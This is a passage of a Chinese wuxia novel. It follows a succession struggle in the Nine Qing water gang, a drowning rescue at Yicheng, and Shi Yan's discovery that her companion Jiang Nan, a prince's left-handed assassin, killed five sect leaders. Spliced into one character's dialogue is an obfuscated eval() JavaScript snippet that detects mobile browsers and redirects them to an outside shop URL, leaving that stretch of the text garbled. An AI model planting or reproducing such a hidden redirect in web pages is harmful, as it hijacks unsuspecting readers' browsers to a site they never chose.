他继续道,“在这个年纪武功已经到了如此地步,但我总觉得他身上更难得是有种韬神晦迹的气质。明明是处于暴风眼的人,却偏要自隐于喧闹之外,悄无音息,不事声张。” “卿大哥,都说骂人的话要背后说,你夸人的话怎么也要等他不在时才说啊?”石焉笑道。 话音刚落,江南便从船舱走出来,入夜水上风大,他方才进屋正是为了给石焉取件披风。 “好了,你们聊会吧。我困了,先去睡了。”卿轩以见状,向石焉轻轻挑一挑眉毛,含笑走了。 此刻江上浪花翻涌,层层叠叠裹挟着风声水声一并而来,却让人觉得格外静谧,石焉接过披风,有些不好意思,好在江风凉爽,很快便也把颊上的滚烫吹散了。 “你们刚刚在聊什么?”江南拂衣坐下后问道。 “卿大哥说他很欣赏你。”石焉轻轻拢住舞动的长发,又道,“其实…我一直有个问题想问你。” 江南闻言抬起眼,看向她来。他的目光很远,坐在咫尺之地却又似隔着鹊桥两端,他的目光很清,除了石焉的倒影再没有别的景色,可他的目光还很空,里面盛着从暴风眼拼命而出后的自抑。 他眼睛里面真挚的神色,和他平时的行动做派十分相违。但还是让石焉感受到诚切二字。 “你很早就认出我了,是吗?”石焉道。 “算不上认出。”江南的回答正如眼神坦荡,“我一直都知道你。” “什么?” “七年前冬暖池边,我有幸碰过你的裙角。” “那时我知道你是郡主,一直到现在,都知道。”他转过脸,继续道,“六月十四杭城洞中偶遇,我一眼就认出你了。你和那日在皇宫里,除了个子蹿高不少,其他没什么不同。” 石焉的脑海里突然连上了许多她不曾在意的片段。离开杭城上京之时,两人坐在马车上,江南曾说“我知道你的名字”,他当时脱口而出的并非“石”而是“沈”。她因畏惧京城而犹疑不定时,江南却好似了然于胸体贴周到。而在王府的膳厅见到自己也列席其间之时,他才会因着以为自己本并不愿见故人,而露出乍惊之色。 “可是我那时并没有认出你。”石焉愧道。 “你是明月,我是影子。”江南再次抬起眼睛,似是答非所问。你不用认出我,只要准我如影随行,我怎么敢再有别的奢求。 愿教轻影长相见,更乞取长圆? 七月初七九顷宜城分舵 “其陇?你怎么来了,可是总帮出了事?”汪温言开门后见到的是十分狼狈的陆其陇,她秀发已乱,衣上灰尘泥泞满布,腰中所挂的剑鞘上竟也有道道砍痕。 “先找个安全的地方。”陆其陇道。 汪温言见事关重大,点头应了。她是水帮的三舵主,分管宜城分舵,如今四十又二,比陆其陇还年长两岁。两人相识于微时,行走江湖一同拜入九顷水帮门下,陆其陇风风火火,大方进取,后与掌门义子石曾忆相识结为夫妻,随夫君一起迁去了登州总舵。而汪温言做事沉稳,性格随和,不久也领众弟子于宜城建立起水帮的第三个分舵——宜城分舵,她亦是时至今日帮中唯一一位女分舵主。 自陆其陇成亲后二人便少见面,上一次相聚还是六年前石方出生时汪温言前去探望。两人瞧着彼此鬓间的白发空叹时光流逝,容颜旧去。 “你说吧,发生什么事了?”进到内室后,汪温言问道。 陆其陇叹息一声,回想这二十几天来的经历,只觉得天翻地覆,风云瞬变。 原来澄清大会当日事发后,她和石曾忆一道朝央月二使追去,二使轻功卓绝,只是带着一个孩子难免慢了些,石陆夫妇在城外追上了圣使,四人交起手来。石曾忆的武功传自义父,路数招式皆是一脉,不使武器,只用双掌,然其怠惰因循,武功不及石难黎的十分之一,哪怕加上陆其陇的一柄长剑舞的生风,也不能在二使面前讨到什么好处。 女使见到石曾忆便即火冒三丈,狠辣招数尽朝他一人身上招呼,全然一副不把他性命当回事的态势。陆其陇一边与男使缠斗,又担心伤着对方怀里的石方遂有些束手束脚,另一边还多少顾着丈夫不被女使所刺,一时间焦头烂额。 就在此时,男使抱着孩子一个跃起攀上身后大树,将孩子牢牢放在树杈中间,道,“好孩子,你先在这坐一会,叔叔等会上来接你。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17253650|197975||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 石曾忆帮不上忙,陆其陇自己一人如何也打不过放开手脚的二使,只能眼睁睁看着孩子在高树上无助的模样,她当娘的心切,打起精神又提剑攻来,只盼找到对方的破绽,尽快寻一个突破之口。 她时护自己,时救丈夫,反不能专心,只能与二使战一个平手。此刻抬头一望,却忽地大惊,树上哪里还有儿子的小小身影?! 顾不得再继续动手,而就这一瞬的恍神之下男使的铐子已经缠上了自己的脖颈,好在他不想伤及陆氏之命,收手及时,否则只怕她当场就要断头于此。四人停下手来,这才都双双发现石方不见了,女使走上前去,凑近看了看树皮上的痕迹,道,“你们儿子也是个小鬼头,自己爬下来走了。” 几人朝周围看了看,四下里唯有虫鸣鸟叫,高木矮丛,早已不见石方的影子,东南西北皆是通路,更不知他朝哪跑去了。 陆其陇顿时崩溃痛哭,石曾忆却在此时道,“好了快别哭了,在两个异族人面前哭像什么样子?咱们石家的面子呢!” “面子?你做出毒害义父的事情来还知道石家的面子?!” 石曾忆一听这话顿时慌忙看了看四周,又道,“你能不能小点声?我这么做还不是为了尽快坐上帮主的位子,这个位子以后也是儿子的。还有,我现在这个总舵主的称号他就是个虚名,帮里大小的事只要义父在侧,可有我插嘴的地方?” 陆其陇只觉得天昏地暗身心俱疲,她恨道,“早在成亲的时候,我就该看出你这个狼心狗肺的东西。” 说罢她也不打算再多废话,只丢下一句,“我往东你往南,找到了便在当地分舵留一句话便是。”即刻往东边奔去。 她一路寻找,却不知道另外一边的央月二使听说京城是天下消息最汇聚灵通之地,为找圣女踪迹,便前往金陵的方向,途中偶遇宋酬雌携手跌破衣裳的小石方返程扶苏门,他们眼见孩子平安,料此地离陆石两人分开处不远,自己又有更要紧之事,便没再此处停留。一路向后,入城前又机缘巧合在城外的林中发现训练有素的信鸽,两人并未贸然拦截,但也跟从信鸽痕迹一路尾随入城到了归留园外,这才以钱财收买其中弟子,有了后来串通一气,骗得石焉现身一事。 而陆其陇呢,她一路打听,却与救下石方的扶苏门沿道相反而行,自是一无所获。半个月过去仍然无果,她便再转头向西,想请帮里任三舵主位的汪温言帮忙,遂往宜城而来。 “你说石曾忆他给帮主下了毒?!”汪温言听罢震怒不已。 “是。我叫你保密并非要捂家丑,只是义父现在武功尽不得施展,一旦传扬出去,不止我们帮内大乱,只怕江湖里也要有不少有心之人会前来寻悻滋事,又或者趁机吞而并之,嘴馋我们九顷的人,可一向不少。” “不错。现在看来,七月二十帮内大会,那厮是要宣布自己登位。” “什么帮内大会?”陆其陇疑道。 “石曾忆之前告知的啊。”汪温言略略思索了一下,明了道,“我知道了,当时传来消息的弟子说是总舵主于澄清大会当日做的决定。那么便是他刚下完毒,就迫不及待支走弟子传讯,只等继位了。” “必是如此。我当年真是瞎了眼…” “现在你打算怎么办?方儿的事情我来帮你派人出去找,但是九顷水帮,真要奉那混蛋为主吗?” 汪温言见她面色犹豫,又气道,“你年轻时也是路见不平拔刀相助的性子,现在怎么变得这么优柔寡断?还不如我有气性了?像石曾忆这样的人,根本不配为人,还妄想让大伙听他调遣。其陇,若你有心要当帮主,我定全力助你。” “容我想想,容我想想。” 第二日上午,两人正在厅里议事,便有弟子来报,“舵主,夫人。北桥分舵的十二舵主今日到宜城,眼下正在渡口停船。” 汪温言与陆其陇相视一眼,并不知来者何时,决定共同去渡口迎接这位帮里的红人。 此刻天气清朗,万里无云,虽日头正盛,但江风吹来也不算太过炎热,陆其陇与汪温言还未走到渡口,就听到一阵骚乱。高喊着“有人坠江了!”的声音此起彼伏。两人快步向前,刚赶到渡口,就又见到一道紫色身影从船上纵身一跃,也跳进江中。 “焉儿!”陆其陇惊道。 11. 第三章第二节 石焉站在船侧,看着大船一点点离岸边越来越近,今日行到宜城,卿轩以命船靠岸暂作补给休整,也好携石焉江南上岸拜会三舵主汪温言。只是船只尚未靠岸,便见到岸边渡口旁的不远处,一位少女身形飘飘,脚下虚浮,摇摇欲坠,还未来得及出声喊醒,她已直晃晃坠入江中。虽是近岸,但有风推之,水流依然不缓,几乎是一瞬间她已被卷出两丈远。 “有人坠江了!”岸边有人高喊起来。 石焉见状,翻过船舷便投入江中,向那少女游去,江南也即刻跟上跃入江中。他在陆上的速度少有人及,可入了水里便只能被石焉甩在身后,待他游到少女周围时,她已然神智不清,两人合力架托起她的上半身,向江边游去,另一边卿轩以见二人入水,便不再跟从,也以轻功上岸,待之游近,便从二人手中接应起落水者。 上岸后,石焉拨开落水者的湿发,江南看清此人面目心中一惊,她怎么会在这?他霎时间有些局促起来,但未容他思绪泛滥,已见到又有两人靠近。来者二人皆是女子,年纪约莫四十上下,一个着梅染长裙,一个着深色短打,腰间皆挂佩剑,袖口均以护腕绑起,一看便知是武林中人。 “焉儿,你怎么在这?”身穿梅染长裙的女子正是陆其陇,她疾步赶来关切道。 “伯母你怎么会在此?”石焉正帮落水者按腹排出几口呛水,她亦浑身湿漉,发丝凌乱,但好在那少女咳了两声已然喘过气来,只是脸色不佳,双眼微闭,仍在半晕眩之中。而石焉显然没想到陆其陇的出现,她也惊道。 “夫人,你怎么会在宜城?”同样惊讶的还有卿轩以。 几人面面相觑,一身深色短打劲装的女子开了口,正是汪温言,她道,“咳,不如几位先一同随我回到舵中再详谈?” 几人回到舵中,石焉重新换了干净的衣衫,又安顿好落水少女于房中,才往议事堂走去。刚出房门,恰见廊下同样刚更衣后的江南。 “我没想到你水性那么好?”两人并列走在廊中,江南侧头看一眼石焉,她换了一身天水碧的裙子,头发仍是湿的,便随手挽了发髻用木簪固牢,饶是有几缕青丝掉出,半垂在脑后,却清新自然,更显脱俗。江南收回眼神,问道。 “苗桃多溪潭,所以我从小会水。”石焉笑道,“你不是也很厉害?” “我十六岁才学的,有一次在水里和人发生缠斗差点没上来,回来后殿下就叫我练好闭气。” 石焉想开口,又听到江南说,“我…” 他似要继续说些什么,但眼看着已至议事堂外,终归没再接下去。 两人走进坐下,卿轩仪已在其中,他一向受到石难黎重用,议事便没打算瞒他。众人各自说明了近期经历后,石焉亦道,“伯母,我此行除了托朋友把爷爷送去徒太山,还打听到了方儿的消息,他被江陵扶苏门的弟子宋酬雌宋姑娘所救下带走了。” “扶苏门?宋姑娘?那不就是今日落水的这位姑娘吗?”陆其陇道。 江南心里一沉,他瞥见石焉脸上正不明所以,皱皱眉还是开口道,“澄清大会那日你没见到,所以不认识,今日落水的,就是扶苏门的宋姑娘。” “那…那她现在怎么会一个人出现在宜城?”石焉和陆其陇都有些心慌,石焉道,“她身上发热严重,我刚给她喂了水和药,但还没有醒来的迹象…” “夫人小姐别急,或许是她先把石方送回师门了,自己又出来办事呢?”卿轩仪安慰道。 “江陵离这不远了,我跑一趟,便可知晓。”江南亦道。 见石焉眼里似是有泪,他只以为她是忧心石方,便转向众人继续道,“在下自认轻功马术皆可,应当能最快速接回石方。宋姑娘这期间若是醒了,几位问清楚石方下落,若非江陵,再按她说的去找也不晚。” “那你路上小心。”石焉鼻子一酸,道。 “好。” “江少侠,我与你一同去。”陆其陇站起来道。 “夫人。”卿轩以阻拦道,“我知道你忧心方儿。但是眼下更替帮主之位的事不能离开你。离大会只有十天了,现在各分舵都准备往襄阳去,刚才汪舵主也说了要拥你为帮主。我也是这个意思,咱们得抓紧一切时间与其他分舵主摸个底。” “你也想让我当帮主?”陆其陇和几年前新来的这位卿帮主,几乎没有过交集。汪温言是旧时好友,但卿轩以,为何要如此拥护自己? 卿轩以道,“石曾忆做出这等事来,怎配再做帮主?我们十二分舵和三分舵一样,全力拥护夫人。而且…而且若夫人愿意,不如合离。” 汪温言意味深长地看了他一眼,似是别有意味,接话道,“其陇,卿舵主说的有理。石曾忆虽是义子但毕竟姓石,且帮里上下一直视他为下一任帮主,你是女子,又是外姓人,我们必须多拉拢几处分舵,才有胜算。” 她转过头又道,“轩以,你也算是我交心的弟弟,我们并未回避,将帮主中毒一事告知。但若此事被其他人知晓,我一样不会放过你。” 卿轩以郑重抱拳,道,“三舵主,我在此立誓,一切以夫人和水帮为重。” “好。那么其陇,我现在只问你一句,帮主之位你要不要?” 陆其陇神色凝重,她终于下定决心,起身道,“既然大家如此帮我,我也不必再推脱,九顷水帮的帮主之位,我要定了。” 汪温言笑道,“这才是我认识的陆其陇。” 商定安排后,江南随即骑马出发,暑盛蹄疾,石焉送得他离开后,又去看了看那位宋姑娘,她还在闭眼睡着。回到议堂外,听见伯母和两位舵主还在讨论帮内大会之事。她站在廊下,突然想起临出发前兄长之言。 “小时候太子是我大哥,我是弟弟,现在太子是储君,我是人臣。我自认比他更适合做储君,所以我要争。只是太子这次出手,确实打乱了我的计划,我在朝廷,在军中的地位虽在稳步拓进,但还不足以支持我现在就夺位。想必太子也是看中这点,才会急于打乱我的节奏,剪去我的羽翼。 我没有办法,只能应对。而现在唯有江湖势力是太子的短板,我需要你帮我。” 廊外风起,庭树如盖,石焉回过头,看到树叶散落,正覆上院里的一路马蹄。她提裙迈过门槛,转身入了堂内。 汪温言这边正说到,“若要众人心服口服,最好是比武论高低。若你与他过招,有多少把握?” “他整日不学无术,从没有真正用心在武学上。”陆其陇冷笑一声道,“若让我用剑,自然十成把握能全胜。” 石焉听到此话突然想起什么,便道,“伯母,我记得爷爷七年前曾把方圆六掌也传给了你,比武论高低的话,最好便是以石家掌法对掌。用帮主亲传的武功相比拼,更让人心服口服。” “说来惭愧,当日义父传掌于我,我是百般拒绝,且在他老人家面前说过绝不私练的。这是义父毕生所成的秘学,要传石家后代的,我怎能学?”陆其陇叹了口气,道,“可是我还是违背了当初所言。这几年来,我偷偷练过许多次,都是背着所有人,连石曾忆也不知道。” “伯母千万不要妄自菲薄,爷爷愿意传你,就是把你当做自家人。且若爷爷在此,我相信他也一定希望你来做这个帮主。” “也幸亏你练了此掌,此刻才能救水帮于小人手中。”汪温言安慰几句,继续道,“轩以家学也是掌法,这几日就让他与你对掌练习,定要稳中求胜。”她又转向石焉道,“小姐,宋姑娘那边就由你照料,她尽快醒来我们也好尽快得知方儿下落。至于我,明日一早便带几人先去襄阳探底,想必以我的资历,还是能凭几分薄面争取到几位分舵主的。” 晚上石焉直接宿在了宋酬雌房中,看护着她寸步不离,一夜过去,宋酬雌体热已逐渐退却,人也迷迷糊糊醒了几次,但眼神迷离,仍是神智恍惚,口齿不清。如此反复多回,已是次日早晨,石焉推门而出,得知汪温言已于黎明时出发赶赴襄阳。而陆其陇和卿轩以此刻也正在院中相对而立。 两人提气转功,运掌相接,双手碰上的一瞬间,树枝颤动,叶旋满天。陆其陇虽年已四十,然眼角皱纹更添风韵,她年轻时面颊饱满,现今两侧瘦削,已显颧骨高挂,有棱有角,更似成熟大方,右侧下颌一点黑痣,乃重情富贵之意,又在凌厉精干之中平添可爱气质。她今日穿了一袭艳丽如胭脂,浓深似血色的短打劲衣,石焉从未见过她做如此打扮,比起贤良妻母,这样子的恣意潇洒,分明更适合她,怪不得汪舵主说她年轻时雷厉风行,轰烈似火。 石焉悄悄转身离开,待得去端来一碗茶水回房,落水的少女却是醒了。 “宋姑娘,你醒了?”石焉忙上前将她扶起,喂上一杯温水,又替她把了脉后,缓缓道,“现在身上感觉好些了吗?” 宋酬雌的面色逐渐恢复红润,她清清喉咙,长发垂在身前,秀眉半蹙,双瞳虽神色未聚,但仍努力看了看清面前的人,道,“那日我在江边落水,是你救了我,这几日又对我日夜照顾。我却还未知姑娘姓名?” “我叫石焉。”石焉微笑道,“那日你落水,不止我救你,还有一位公子,和九顷水帮的诸位英雄,大家一起救的你。” “是,我想起来了,好似是还有一位公子,只是我混沌之中没看清样貌。”宋酬雌道,“还烦请姑娘,带我前去,一一认谢才好。” “不急,这些都可等你病好再说。”石焉又道,“宋姑娘,只是我有一事,要向你请教。” “姑娘请讲。” “我有一弟弟,名叫石方,自澄清大会那日后便与我们失散了,听说是宋姑娘你救了他。” “可是一年约六七岁的娃娃,穿青色衣衫?” “正是。”石焉喜道。 “原来他是你们九顷水帮石家的孩子。你放心,他很安全,现下正在我扶苏门中。”宋酬雌想到石方,便笑道,“这孩子人小脾气却大,一路竟一声不吭,我问他叫什么住哪?他一字都不透露。我有一七岁妹妹,想来和他说得上话,所以才叫师姐妹们先带他回师门,再做打算。” 石焉心下的石头终于落了地,但想到弟弟一言不发又有些焦虑。石方明明是活泼好动的性子,在家时最爱撒娇,又聪慧机灵,这次叫他亲眼目睹家中大变,不知如何伤了孩子的心呢,不过好在人没事。她道,“多谢宋姑娘。我的一位朋友,就是救下你的那位公子,他听说方儿被扶苏门所救,日前已先一步赶去了。说来也巧,你救了舍弟,我们又救了你,如今你也不必介怀要道谢了。” “嗯。”宋酬雌心中温暖,只觉得与眼前这位石焉姑娘十分投机,她言语轻柔,菩萨面目,叫人丝毫不设防。 “你多休息一会,我先出去把这事告诉方儿的母亲,她这几日正急得很。”石焉扶宋酬雌又躺下后,便静静掩门而出。 陆其陇闻言大喜,往后接连几日练掌也松快进益不少。她初次试掌时,尚被卿轩以击了个落花流水,而到第三日,已然可以和他对个平局。正因她本就对武学领悟颇高,只是自成亲以来,前数年困于郁郁未得子,终于在三十三岁诞下石方,然而后数年又困于院落灶台,未能一展拳脚,好在她自己从未想过放弃,一直潜心修习内功,又时不时在少人的林中练习方圆六掌中的排浪洗空之意。只是她虽早已练成,却从未真正施展过。幸得这次有卿轩以做对手,他武功高超,掌力深厚,年方三十已然可以跻身一流高手之列,对陆其陇而言正是最佳的磨金石。 几人当天便决定由石焉留守,继续等待江南带石方而归,而由于此去襄阳路上仍要四五天路程,陆其陇和卿轩以则即刻出发前往,同汪温言一起提前做好准备。 陆卿二人离开后,宋酬雌也恢复了许多,她这几日与石焉相处甚好,已然把石焉当成了另一个妹妹。这天下床行走,她来到院中,见石焉正在煎药,便道,“焉儿,我都已经大好了,这药还要喝多久?” “已经喝了三天了,今日这便是最后一服,明日就不必再受这药苦啦。”石焉笑着扇炉子,她抬眼看了看宋酬雌的面色,的确是大好了,便又道,“病好后你就要回师门吗?还是有别的打算?” 宋酬雌闻言神情忽地落寞下来,她抱膝坐下,哀道,“我不瞒你, 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“你要去京城?”师姐虽然疑惑,但见宋酬雌并不打算详细说明,也不好再问,她虽排行十七,但却是师父生前钟爱,只道,“孩子交给我,只是咱们没人去过金陵,你独自前往,千万小心。” 这次来杭是宋酬雌在许霓生死后第一次离开江陵,她想顺道去金陵看看,去太子府门口看一眼,那个让师父和母亲奉去了所有韶华的地方,是怎样一个吃人的血窟。 可是金陵太繁华了,她十岁以前生活在芙蓉城,十岁以后在江陵,两个地方也均是气候和暖、百姓安居的城池,可是和金陵相比,还是差了太远。这里处处可见人群聚集,然而并不拥挤杂乱,一切井然有序,自得体系,街上有女子大方摆摊吆喝,戏楼中有女客信手点谱,甚至赌坊门口也不时有女子进出。 原来这里就是京城。 她一下子感到自己的渺小,这里的人并不会因为自己一介女子腰配利剑而投来钦佩羡赏的目光,他们似乎对奇人异士司空见惯。 在最繁忙的食驿外守了几天,她才听贵客聊天中得知太子府竟然在皇宫里。宋酬雌一下子觉得丢脸,无措,空落,自责,心里百感交集,计无所出,她远望着皇宫的大门,眼穿当落日,心死著寒灰。 偏偏准备打道回府的时候,抬头在小巷的墙头望见了一个熟悉的白色身影,哪怕那人未着武装,书生扮相,然而脸上一道长疤,唯有那个可以唤起她最痛苦记忆的人。她在后处,悄悄贴墙跟随,见那人似乎也在跟踪一个官员,而外面长街上的官兵又一团大乱,宋酬雌不知两者之间会有什么关联,但直觉让她认为保护那个官员是自己应该做的事。 心中的正义之情平地而起,虽然明知自己武功不敌那人,虽然明知他一旦发现自己或许就会痛下杀手,但路见不平拔刀相助,一向是她学武所衷。 拔剑,跃起,交手。她落败的意料之中,可对方的举动却让她始终觉得不可置信。他的扇尖离自己咽喉已经不足一寸,为什么收手。 “行不更名,坐不改姓,叶显开。”他走时说。 离开京城的那天,她听到老百姓都在讨论着一个叫归留园的地方,似是过几天有一位大有来头的舞女要在那跳舞娱客,可具体是什么来头,姓甚名谁,却没一人说得出来。不过是些故弄玄虚的噱头,宋酬雌心想,像金陵这般的富贵之地,自然是花样更多,但即使大家心里都清楚,也甘之如饴,乐此不疲。 宋酬雌也不再停留,独自出了城门。从十岁起她便知道,这些欢欣乐事,与她此生都不会再有关系。 出京城,回江陵,她一路西行,这日途径宜城,许是心力交瘁,突然发起热来,小病小灾她本也没放在心上,只一心赶路,却越烧越重,逐渐双眼迷蒙,连自己走到江边也不觉,脚下一空,便落入江中。 “酬雌,节哀。”石焉把煎好的药盛入小碗中凉好,握住她的手道。她与宋酬雌有半分感同身受,半分恻隐悯人,竟不知如何安慰之语了,本想掏出自己的身世以慰宋酬雌,可想到事关重大,她还是决定缄口不言。 “父母带我离开芙蓉城前留下的话都是叫我不要报仇,我本也想好了不再执念于此,可是师父又走了。”宋酬雌咬紧牙关,“为什么总是有人一再不放过。” “那个叶显开我的确不知,至于害死五派掌门的人,我听爷爷讲过,澄清大会那日玉面夫人当众处置了凶手,是一个叫山青的姑娘。只不知她年纪轻轻,为何要对五派掌门下此毒手。” “如果我说山青不是凶手,是被冤死的。你信吗?” 江南骑马日夜兼程,三日后终于赶到了扶苏门外,他上前叩门,来开门的是个约莫七岁的小女孩。 “我妹妹西州,记忆超群,师父死的那日她曾见到凶手面目,她确定,那是个左利手用刀的男人。” 宋西州“吱丫”一声拉开大门,她身高尚矮,首先看到的是一双男子的靴子,随着视线慢慢上移,她看到两把长刀。 “她自小擅画,天赋过人,凭那一眼画了画像。你救下我时不是在岸边捡到我的包袱吗?里面有那幅画,我去拿给你。”宋酬雌从房内拿出一幅画卷,递给石焉。 两把长刀往上,是一顶好大的斗笠,那人的脸藏在阴影里,叫宋西州看不清长相。她瞪着双眼,往前迈过门槛,探头去看笠帽下的面容。 卷轴自下而上一点点铺开,石焉看到画中人用左手握着刀柄,竖插于身侧,他系着蒙面黑巾,尚看不到长相。 那人见到小女孩探头,也不躲藏,他眼神向下看去,对视上女孩的双眼,眼看着女孩的大眼睛由好奇转为惊恐,小嘴张大,进而整个人都发起抖来。 玉手继续往上平铺画卷,直到露出那双眼。 宋酬雌说的没错,画手画技过人,十分传神,只是石焉从未见过这双眼里露出如此狠戾的神情,她手一抖,险些跌落画卷,画里的人背对着自己,正转头望来。他墨发高束,马尾飞扬,似能感觉到那夜的冷风历历,再看他眉峰如聚,目露杀气,透过薄薄白纸,落入石焉眼中,直指她五魂七魄。 12. 第三章第三节 江南回到宜城分舵的时候两手空空,独身一人。 “我没能带石方回来。扶苏门的人说,她们晚上睡下后再醒来,他就不见踪影了。房间里没有拖拽或者打闹的痕迹,应当是趁夜自己跑掉的。” 石焉觉得脑袋“嗡”地一声混乱如麻,她看向江南的眼神复杂而深刻,道“那你见到宋西州姑娘了吗?就是那个七岁的小女孩。” 江南眼神没有躲闪,却还是平白透出了慌乱,他捏紧拳头,只有他自己知道,越是直视对方双眼,越是他手足无措的时候。从小师父就教他,武功百路,快当首冲,与人对招时盯住对方的眼睛就是第一要紧事,正因任何人想出招,都会眼先随心动,抓住对方的眼神,就会永远比他先一步预判招式,永远快于对方的出手速度,永远立于先手之地。致使他养成习惯,面对没有底的对手,总不自觉看向对方的眼睛,他怕一个飘忽,就会错失重要讯息,眼色一闪而逝,他便什么都抓不住了。 “见到了,她的几个师姐说石方十分冷酷,并不爱搭理人,也从不开口说话,他和她,并未交流。” “你来去赶路辛苦,石方之事宋酬雌这边与你所说的略同,也没有新的线索。”石焉却先避开了眼神,道,“眼下离大会还有四天,酬雌已经离开了,我也要赶去襄阳协助伯母,你骑马劳累,不如休息几天,再回去兄长身边。” 江南好似已经预料到了这个结果,他脸上没有惊讶,只有为难。他道,“殿下临行前虽只说让我先送你至江陵。但他的意思是,让我始终随行保护,不论你接下来去哪。” “是保护,还是监看?” 石焉重新抬眼看向他,她秀眉紧蹙,目光如电,道,“他为什么要让你杀五派掌门。” 转开头,他不敢再去看石焉的泪眼。自己之于对方是杀人者遇神佛,这一局,胜负已定。 四月二十,那是他按吩咐杀完四派掌门之后赶到最后一个目标——扶苏门的日子。他刻意掐准了全派弟子外出游历江湖的时机,悄悄潜入了那个院子,夜行衣隐于夜色,又有蒙面加身,江南轻易便摸到了许霓生的床边,他抽刀而出准备速战速决,却在亮了一瞬的刀面上猛然看见许霓生睁开的双眸。 许霓生侧身躲过刀尖,挺身而起,迅速从枕下拔出长剑,接手两招后,便一直寻机往屋外去,她心中担心隔壁卧房唯独留下的小宋西州,只想快些前去查看。但江南咬的颇紧,两人在黑灯瞎火的房内只能听声循人,都打的很不称手,江南便也不再阻拦,放任其跃出窗外,自己再跟上翻出。到了月光下面,许霓生终于看见了来人,虽用黑巾蒙面,然仍可看出是个十几岁的少年。 她趁这短暂的停当,向宋西州的卧房掷出刚刚顺手摸来的木簪,“咚”地一声砸开房门,月色倾斜入内,床榻上却根本没有宋西州的身影。她心知这孩子活泼贪玩,前几日就叫嚷着要晚上出去捕萤火虫,可惜自己未得空一直没有陪她前去,此刻应该便是自己偷溜去了。想到此处她反倒放下了些心,见蒙面少年攻来便专心应战。 江南连日战下四派,又赶来扶苏,已有些体力不支,此刻面对许霓生这样的江湖一等高手,心知必须尽快解决,加之他那时虽有满身内力却只能使出小半,对战时间拖的越长越吃力,而对方则会愈打愈长,不断调配深厚内功作为源源储蓄,如此他便难有胜算了。 虽然不合规矩,但他仍然换了左手持刀。 自八岁被挑中为屿王效力后,他便一直按照命令同时练习右手使用武器,天生左利手的秘密必须隐藏,才能以备在一些特定场合用来掩盖身份。他十一岁随屿王出入皇宫,认清官宦面容和宫廷路线,十二岁潜入重臣宅院偷取重要情报,十三岁第一次替屿王清除异党,每一次,都是独身一人。他苦练轻功,因为不论屿王是入宫还是出行,都命他只能暗中跟随或潜伏在侧,刺客的意义永远是不被注意,一旦成为人群中的瞩目者,就是一步废子。如今他十八岁,第一次在人前暴露左手习性,江南心里暗暗后悔,过去他鲜少遇到对手,竟没意识到从什么时候开始自己有些飘然而忘乎所以了。刺杀许霓生,原应该休整两日再出手的。 可显然现在已经没有退路了,他干脆换掉一贯求稳的路数,大刀阔斧地强势攻了上去。长刃开六合,横刀劈四极,这是卷云刀法一共四十九式中的第四十七式,雷厉风行,声势浩大,意在贯注全部力量于一瞬之内的刀刃之上,此招比最高一式更难习得,并非因为别的,而是此招对速度要求更高,且是向死而生。对于速度与自己旗鼓相当的对手,此招不如最高一式来的有成算。但对于速度不敌自己的对手,此招便是最有成效的杀招。但若用了此招都未能击败敌人,那便再无后继之力。因此四十七式也被称为不是己死,就是彼亡的最险一式,刚用完的人往往会处于极度疲累之中,这一式只能用于单人对战,并不能用之对抗群雄混斗。 许霓生见对方卷云刀法用的得心应手,又是最凶猛不留后路的第四十七式,已经料到自己此番在劫难逃。月光皎洁却淡弱,她睁着眼,看见刀尖一寸处凸雕有一朵五瓣梅花,与刀同材料质地,更似利刺扎破刀刃而出。原来这就是卷云刀。 “卷云刀初次问世江湖,就被我所见,也不枉了。”她道。 凝神看招,全力以赴,我许霓生只有拼力战死,绝无认命求败。 那就放手一搏。她看着江南运力,然后大步直逼自己而来。她不露惧色,横剑于眉侧,不仅不退,反而向前迎刀而来。她知道若是强行接招,胜算无几,当即决定不管对方,只使出自身剑招,若能快过卷云刀而先一步割断对方的咽喉,自可扭转乾坤。 江南自小练武便以速度见长,卷云刀虽比他平时用的普通铁刀重上不少,但还是快过了许霓生。江南的刀架住自己的剑从身边擦身而过的时候,许霓生才意识到他这四十七式的致命一击原来是从背后而来。她立刻回身,已然不及,江南虽背对自己,然刀横臂下,左手向后,刀尖直直从心口贯了进去。这一刀江南使了全部的内力,许霓生被刺之下受力所撞,仰面倒在地上,五脏六腑俱受连损,已是奄奄一息。而江南也受余力黏连,就要跟着一同往下哉去,连面巾也被刀气所冲,滑落肩头,他抽刀而出,以柄作柱,画圆回身,仍是跟着单膝跪地,才稳住身形。 倒地的许霓生脸上浮现出一种奇异的笑容,她气若游丝,缓缓道,“我看你的眼神就知道,你和我是一种人。叶显开杀了唱意,你杀了我,因果报应,屡试不爽。只是不知道等你老去,又会是谁,来杀你。” 许霓生说他与她是一样的人,其实并不尽然,许多年前,许霓生在刺杀周侍郎之后并没有放过剑下无辜的妻女,许多年后,江南却放过了刀下的宋西州。她一生到头,挣扎过,抗争过,做过杀手,最后依然回到杀手。 “你都知道了,我是殿下的刺客。” 不错,石焉是在看到画像的那刻一眼就认出了江南,可她总抱了一丝侥幸,此时听他亲口说出这句话,无异于是承认自己就是凶手,她只觉得似闻五雷轰顶,如见青天霹雳。 “那可是…五条人命啊!”石焉觉得心惊。她在前往金陵前曾日夜期盼,七年未见,故人如旧。即便沈谛祝生于皇家长于皇家,但那也是她儿时视之如兄长的人,她对他有过疑心,也曾发愿再不与皇室中人来往,直到爷爷中毒,遇到江南。然而纵使她在王府见到顾念怀那一瞬,就明白了江南也是屿王府的人,纵使她深知王侯家中多养杀手,纵使她也曾猜测过江南是兄长养的刺客。她亦不是不知道刺客的职能,正义者上阻奸臣、下窃机密、秘密救冤,自利者党同伐异、诛锄反己、草菅人命。她唯独不想兄长和江南会有后者。如今事实摆之眼前,她更觉得恐怖兼之心寒。 “那你为什么放过宋西州?她明明看到你了。”她仍然企图找出一丝对方尚存善心的实证。 “殿下的命令是杀许霓生,而非看到我的人。” 江南看到石焉的眼神逐渐变得不清,里面盛满了哀痛与不可置信。 “江南。”他第一次听到她直呼自己的名字。 “你不问问我怎么知道人是你杀的吗?” 